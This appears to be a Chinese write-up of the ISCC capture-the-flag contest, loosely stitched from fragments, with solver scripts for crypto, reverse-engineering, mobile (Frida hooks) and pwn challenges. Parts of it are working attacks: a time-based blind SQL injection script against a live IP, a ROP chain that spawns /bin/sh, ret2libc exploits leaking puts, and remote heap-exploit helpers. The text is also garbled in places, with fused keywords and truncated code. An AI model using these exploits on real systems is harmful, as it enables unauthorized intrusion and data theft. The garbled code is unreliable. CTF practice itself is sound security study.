f1 = open('left_foot_invert.png','rb') f2 = open('left_hand_invert.png','rb') f3 = open('right_foot_invert.png','rb') f4 = open('right_hand_invert.png','rb') f5 = open('1.zip','wb') for i inrange(3176): f5.write(f1.read(1)) f5.write(f2.read(1)) f5.write(f3.read(1)) f5.write(f4.read(1)) f5.write(f1.read(1))
使用ziperello爆破密码
解压
将.docx改为.zip 解压
在word/document.xml文件中发现了一串数字
是n分解
在word/media目录下发现了true_flag.jpeg
跑脚本进行RSA解密
from Crypto.Util.number import long_to_bytes,bytes_to_long import gmpy2 e = 65537 n = 16920251144570812336430166924811515273080382783829495988294341496740639931651 p = 100882503720822822072470797230485840381 q = 167722355418488286110758738271573756671 phi = (p-1)*(q-1) d = gmpy2.invert(e,phi) c = bytes_to_long(open('true_flag.jpeg','rb').read()) m = pow(c,d,n) print(long_to_bytes(m))
def GCD(a, b): print(a.degree(), b.degree()) q, r = a.quo_rem(b) if r == 0: return b R00, R01, R10, R11 = HGCD(a, b) c = R00 * a + R01 * b d = R10 * a + R11 * b if d == 0: return c.monic() q, r = c.quo_rem(d) if r == 0: return d return GCD(d, r) #填入你的 c1 = 7117699533553404765969385131528285151338883874047219393513901029814899613106269453717071655030129172675347412105954430595550208331319039285488217857645434855450598615444320625125480776280699845905031957935929200678010599182556355228361791925834628474882973819407545131720315147867601310680575703760829182731040820140040334260615959579260885910684316027038899927510111879795075716063442014500311273770317366580295265150626308906058870244474287517539716259093648787486558289028160060146383240853216385418156708531398826125721674525484478695977276018081855744644420524312189516816706523758384677737740206780056214178591 c2 = 669377958220530998982610007334541495452444932327889027701674265488674975296173916526403471415673489599324609944152078024856059305235027055537717831870910926982886484365295480915932635049328982650036966128603589077422350648610838397561368492808627898801217681531847113405878144009338568458330300883098347211123932957521175154078087448270703770013755603755495694142054956736866280513298095095072140518012960164840387268115809107484598575420588399507838816137068511738359026923196816227383685673279881086270565844040540990721264154589480590824198483107578842415945186127864550932032695515688193556824882941308500664944 N = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697 e = 52595
# 替换Base64编码中的字符 defcustom_base64_replace(b64_str): for original, replacement in base64_replacements.items(): b64_str = b64_str.replace(original, replacement) return b64_str
# 反向替换Base64编码中的字符 defreverse_custom_base64_replace(b64_str): for replacement, original in base64_replacements.items(): b64_str = b64_str.replace(replacement, original) return b64_str
# 读取并解析域名 withopen(input_file_path, 'r') as file: lines = file.readlines() domains = [ re.sub(r'\.microsofto365\..*', '111', line) for line in lines ]
clean_domains = [ match.group(1)[18:].replace('.', '') for domain in domains if (match := re.search(r'Name: (.*?)111', domain)) ]
# 转换为字符串 decoded_word = ''.join( chr(int(substring, 16) for domain in clean_domains for i inrange(0, len(domain), 2) for substring in (domain[i:i+2]) )
# 写入到文件 withopen(output_file_path, 'w') as file: file.write(decoded_word)
跑下脚本处理一下
查看2.txt
由此得到原始的工具名为dnscat2-v0.07-client-win32.exe
md5加密
RE
练武题
迷失之门
IDA打开
TAB/F5：
跟进check
继续跟进check_2
R转换result
得到：
FSBBhKhLgEdDDKeidOpktsBNRI6
跑脚本：
x='FSBBhKhLgEdDDKeidOpktsBNRI6'#输入比较的字符 W='ABCDEFGHIJKLMNOPQRSTUVWXYZ' w='abcdefghijklmnopqrstuvwxyz' M='0123456789+/-=!#&*()?;:*^%' v='DABBZXQESVFRWNGTHYJUMKIOLPC' for i inrange(len(x)): for j inrange(32,127): if j-ord(v[i])<=0: pass else: v22=j-ord(v[i]) if v22>25: if v22>51: v1=M[v22-52] else: v1=w[v22-26] if v1==x[i]: print(chr(j),end='') else: if W[v22]==x[i]: print(chr(j),end='')
for i inrange(len(cmp)): cmp[i] -= 10 cmp[i] &= 0xff
for i inrange(len(cmp) - 1): cmp[i] += cmp[i + 1] cmp[i] &= 0xff
for i inrange(len(cmp) - 1): cmp[i] ^= ord(key2[2])
for i inrange(0, len(cmp), 2): cmp[i] ^= ord(key2[i % 4])
for i inrange(len(cmp) // 2): cmp[i], cmp[26 - i - 1] = cmp[26 - i - 1], cmp[i]
for i inrange(len(cmp) // 2): cmp[i], cmp[26 - i - 1] = cmp[26 - i - 1], cmp[i]
for i inrange(len(cmp)): cmp[i] += ord(key2[i % 4]) cmp[i] &= 0xff
print(bytes(cmp))
ISCC{Wi]@z’{‘,W=g&Lo>9wY8}
WinterBegins
给了个exe文件
研究一下
直接上脚本
import string
table="冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村" tmp=open(r"E:\QQsavefile\winterbegins (1).exe","rb").read()[0x1c98d:0x1c98d+2*140].decode('gbk',errors="ignore") enc=tmp[:tmp.index('\x00')] enc=''.join([''.join(enc[i+1:i-1:-1]) for i inrange(len(enc)-1,-1,-2)]) tmp=[table.find(i)//2for i in enc[0::2]] it=iter(tmp) listchar=[] for i in it: if i==11: listchar.append(chr(next(it)+61)) else: listchar.append(chr(i+48)) tmpflag=list(''.join(map(lambda x:chr(int(x,16)),map(lambda x,y:x+y,listchar[::2],listchar[1::2])))) print(''.join(tmpflag)) whilesum([ i-1for i inrange(len(tmpflag)) if tmpflag[i] in string.digits])>0: index=[ i-1for i inrange(len(tmpflag)) if tmpflag[i] in string.digits][0] tmpflag=tmpflag[:index]+[tmpflag[index]]*int(tmpflag[index+1])+tmpflag[index+2:] print(''.join(tmpflag))
Find_All
两个文件
7z要密码
IDA打开看下
tap
直接跑python脚本
v4 = [get_wide_byte(0x00401625 + i * 7) for i in range(24)] for i in range(0, len(v4) - 1, 4): v4[i + 2] ^= v4[i + 3] v4[i + 1] ^= v4[i + 2] v4[i] ^= v4[i + 1] print(bytes(v4).decode())
I_am_the_Mathematician
使用前 20 个斐波那契数作为索引，从code_book中提取字符得到flag
跑脚本
import os deffib(n): a,b = 0,1 lis = [] for i inrange(n): a,b =b,a+b lis.append(a) return lis withopen([i for i in os.listdir(os.getcwd()) if i.startswith("code_book")][0],"r") as file: data = file.read() file.close()
target = fib(20) assert target[-1] > len(data) print(f"ISCC{{{''.join([data[i - 1] if i < len(data) else''for i in target])}}}")
# # Key{Y0u_F1nd_The_key_w@} import py7zr with py7zr.SevenZipFile(_7zname, mode='r', password=key) as z: z.extractall()
import torch # torch基础库 import torch.nn as nn # torch神经网络库 import torch.nn.functional as F import torchvision.transforms as transforms # 图像处理库 from PIL import Image # 图像处理库
from Crypto.Util.Padding import pad from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b from Crypto.Random import get_random_bytes from enum import Enum
classMode(Enum): ECB = 0x01 CBC = 0x02 CFB = 0x03
classCipher: def__init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i inrange(0, len(key), self.BLOCK_SIZE // 16)] self.DELTA = 0x9e3779b9 self.IV = iv self.ROUNDS = 64 self.mode = Mode.CBC if iv else Mode.ECB if iv andlen(iv) * 8 != self.BLOCK_SIZE: self.mode = Mode.CFB
def_xor(self, a, b): returnbytes(_a ^ _b for _a, _b inzip(a, b))
defencrypt(self, msg): msg_padded = pad(msg, self.BLOCK_SIZE // 8) blocks = [msg_padded[i:i + self.BLOCK_SIZE // 8] for i inrange(0, len(msg_padded), self.BLOCK_SIZE // 8)] ciphertext = b'' if self.mode == Mode.ECB: ciphertext = b''.join(self.encrypt_block(block) for block in blocks) elif self.mode == Mode.CBC: X = self.IV for block in blocks: encrypted_block = self.encrypt_block(self._xor(X, block)) ciphertext += encrypted_block X = encrypted_block elif self.mode == Mode.CFB: X = self.IV for block in blocks: output = self.encrypt_block(X) encrypted_block = self._xor(output, block) ciphertext += encrypted_block X = encrypted_block return ciphertext
if __name__ == '__main__': KEY = get_random_bytes(16) IV = get_random_bytes(8) cipher = Cipher(KEY, IV) FLAG = b'xxxxxxxxxxxxxxxxxxx' ct = cipher.encrypt(FLAG) print(f'KEY: {KEY.hex()}') print(f'IV: {IV.hex()}') print(f'Ciphertext: {ct.hex()}')
直接让AI解密
from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b from Crypto.Random import get_random_bytes from enum import Enum
classMode(Enum): ECB = 0x01 CBC = 0x02 CFB = 0x03
classCipher: def__init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i inrange(0, len(key), self.BLOCK_SIZE // 16)] self.DELTA = 0x9E3779B9 self.IV = iv self.ROUNDS = 64 self.mode = Mode.CBC if iv else Mode.ECB if iv andlen(iv) * 8 != self.BLOCK_SIZE: self.mode = Mode.CFB print(f"Mode set to CFB due to IV length mismatch.") else: print(f"Mode: {self.mode}")
def_xor(self, a, b): """Perform XOR operation on two byte sequences.""" returnbytes(_a ^ _b for _a, _b inzip(a, b))
deftime_inject(condition): url = "http://101.200.138.180:8003/inquiry/" headers = {} cookies = { "csrftoken":"",#自己的 } data={csrfmiddlewaretoken": "",# 填自己的 "sel_value": "name", "nick_name": f'name",(case when({condition}) randomblob(1000000000) else0 end),"1' } while True: try: start = time.time() response = requests.post(url,headers=headers,cookies=cookies,data=data) end = time.time() time_cost = end - start print("time cost: ", time_cost) if time_cost > 3: return True else: return False except: continue def get_length(var_name): for i in range(1, 1000): if time_inject(f"length({var_name})={i}"): return i def get_char(var_name, index): alphabet = string.printable for c in alphabet: if time_inject(f"substr({var_name},{index},1)='{c}'"): return c def get_value(var_name, length): for i in range(1, length + 1): char = get_char(var_name, i) if char is None: result += f"{{{i}}}" else: result += char return result def get_tables_name(): payload = "(select group_concat(tbl_name) from sqlite_master wheretype='table'and tbl_name NOT like 'sqlite_%')" length = get_length(payload) result = get_value(payload, length) return result def get_schema(table_name): payload = f"(select group_concat(sql) from sqlite_master where type='table'and name='{table_name}')" length = get_length(payload) result = get_value(payload, length) return result def get_data(table_name, column_name): payload = f"(select group_concat({column_name}) from {table_name})" length = get_length(payload) result = get_value(payload, length) return result def get_flag(): result = "" for i in range(1, 14): payload = "(select group_concat(flag) from flag)" result += get_char(payload, i) return result def main(): print(get_flag()) # get_data('flag', 'flag') if __name__ == "__main__": main()
运行后得到 flag 是 url{i722vrr0}，但是交了不对，访问该地址/i722vrr0，可以下载到了一份源码
from ctypes import * import base64 a = lambda x: [ord(i) for i in x] b = lambda x: base64.b64encode(bytes(x)).decode() c = lambda x: [c_uint8(i).value for i in x] enc0 = a("04999999gwC9nOCNUhsHqZm") p = c([56, 88, 36, -37, -15, -20, 48, 67, 51, -86, 122, -114, -76, 78, 63, 71]) for i inrange(len(enc0)): enc0[i] ^= p[i % len(p)] mn = a(b(p + enc0))
for i inrange(len(mn)): mn[i] += 0x7f mn[i] &= 0xff
for i inrange(len(mn)): if i & 1 == 0: mn[i] ^= 0x7b else: mn[i] ^= 0xea print("ISCC{"+b(mn)[:32]+"}")
ISCC{tS+dAMpEvBi3LrcTiweLJIguyESqHJwY}
ChallengeMobile
jadx反编译
发现是在动态加载dex
frida然后hook的native混淆方法的返回值 dump下来dex
写个脚本可以跑：
import frida, sys
jscode = """ Java.perform(function () { var MainActivity = Java.use("com.example.challengemobile.MainActivity"); MainActivity.a.implementation = function (bArr) { var result = this.a(bArr); console.log("res: ", result); return result; }; }); """
letMyjni = Java.use("com.example.ohhelp.MyJNI.Myjni"); Myjni["GetKey"].implementation = function () { console.log('GetKey is called'); let ret = this.GetKey(); console.log('GetKey ret value is ' + ret); return"PUDzbflthjqxlJVW"; };
letSystem = Java.use('java.lang.System'); System.getProperty.overload('java.lang.String').implementation = function (propertyName) { var returnValue = this.getProperty(propertyName); console.log("System.getProperty called with propertyName: " + propertyName + ", returned: " + returnValue); if (propertyName === "java.vm.vendor") { return""; } return returnValue; }; letMyjni = Java.use("com.example.ohhelp.MyJNI.Myjni"); Myjni["GetTime"].overload().implementation = function () { console.log('GetTime is called'); let ret = this.GetTime(); console.log('GetTime ret value is ' + ret); return"1055853128000"; };
# 连接到远程进程 # p = process("./your_program") p = remote("182.92.237.102", 10032)
# 加载ELF文件以获取符号信息 elf = ELF("./your_program")
# 定义辅助函数 defleak_address(p, num_bytes=6): """Leak memory address by receiving data until '\x7f' is encountered.""" data = p.recvuntil(b'\x7f') return u64(data[-num_bytes:].ljust(8, b'\x00'))
# 准备格式化字符串攻击 defexploit_format_string(payload): """Send payload to trigger format string vulnerability.""" p.sendlineafter(">", b"2") p.sendline(payload)
# 清除操作 defclear_app(choice=b'n'): """Option to clear or stay in the app.""" p.sendlineafter(">", b"4") p.sendlineafter("Are you sure you want to exit? (y/n)", choice)
from pwn import * from struct import pack context.os='linux' elf = ELF("./pwn") io = remote('xxxx', port) p = b'' p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret p += pack('<Q', 0x00000000004c20e0) # @ .data p += pack('<Q', 0x0000000000452af7) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret p += pack('<Q', 0x00000000004c20e8) # @ .data + 8 p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000401912) # pop rdi ; ret p += pack('<Q', 0x00000000004c20e0) # @ .data p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret p += pack('<Q', 0x00000000004c20e8) # @ .data + 8 p += pack('<Q', 0x000000000040181f) # pop rdx ; ret p += pack('<Q', 0x00000000004c20e8) # @ .data + 8 p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004012d3) # syscall payload = b"a" * 0x28 + p io.send(b'oh1yes') io.sendline(b'1') io.sendline(payload) io.interactive()
unheap
一样的
exp:
from pwn import * from LibcSearcher import * context.log_level = "debug" elf=ELF('./great') io=remote('xxxx',[port]) ret=0x0804840a elf_plt=elf.plt['puts'] elf_got=elf.got['puts'] main_addr=elf.symbols['main'] sleep(1) io.sendline(b"yes") io.sendlineafter("Then I will show you something great.\n",b"OK") payload=(b'a'*112)+p32(elf_plt)+p32(main_addr)+p32(elf_got) print(payload) io.sendlineafter("Here it is!\n",payload) io.recvuntil(payload+b"\n") elf_addr=u32(io.recv(4)) print(hex(elf_addr)) libc=LibcSearcher('puts',elf_addr) libcbase=elf_addr-libc.dump('puts') system_addr=libcbase+libc.dump('system') bin_sh=libcbase+libc.dump('str_bin_sh') io.sendline(b"yes") io.sendlineafter("Then I will show you something great.\n",b"OK") payload1=(b'a'*112)+p32(system_addr)+(b'aaaa')+p32(bin_sh) io.sendlineafter("Here it is!\n",payload1) io.interactive()
great
看下
栈溢出
great函数
所以：
from pwn import* context(log_level = "debug",arch = "i386",os = "linux") io = remote('xxxx',[port]) elf = ELF("./great") #libc = ELF("/lib/i386-linux-gnu/libc.so.6") io.sendlineafter("Do you enjoy ISCC?",b'yes') io.sendlineafter("Then I will show you something great.",b'OK') #puts_plt = 0x08048490 #puts_got = 0x0804A020 puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] great = 0x08048624 payload = b'a'*112 + p32(puts_plt) + p32(great) + p32(puts_got) io.recvuntil("Here it is!") io.sendline(payload) puts_addr = u32(io.recvuntil("\xf7")[-4:]) print(hex(puts_addr)) system = puts_addr -0x5f150 + 0x3a950 binsh = puts_addr - 0x5f150+ 0x15912b payload = b'a'*112 + p32(system) + p32(0) + p32(binsh) io.sendlineafter("Here it is!",payload) io.interactive()
babyheap
hint
两个文件
研究一下
from ctypes import * from struct import pack from pwn import * import time p=remote("xxxx",[port])
s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda : int(p.recv(10),16) iuu64 = lambda : int(p.recv(6),16) uheap = lambda : u64(p.recv(6).ljust(8,b'\x00')) lg = lambda data : p.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : p.interactive()
使用这个接口/geneSign?param=flag.txtread生成一个secert_key
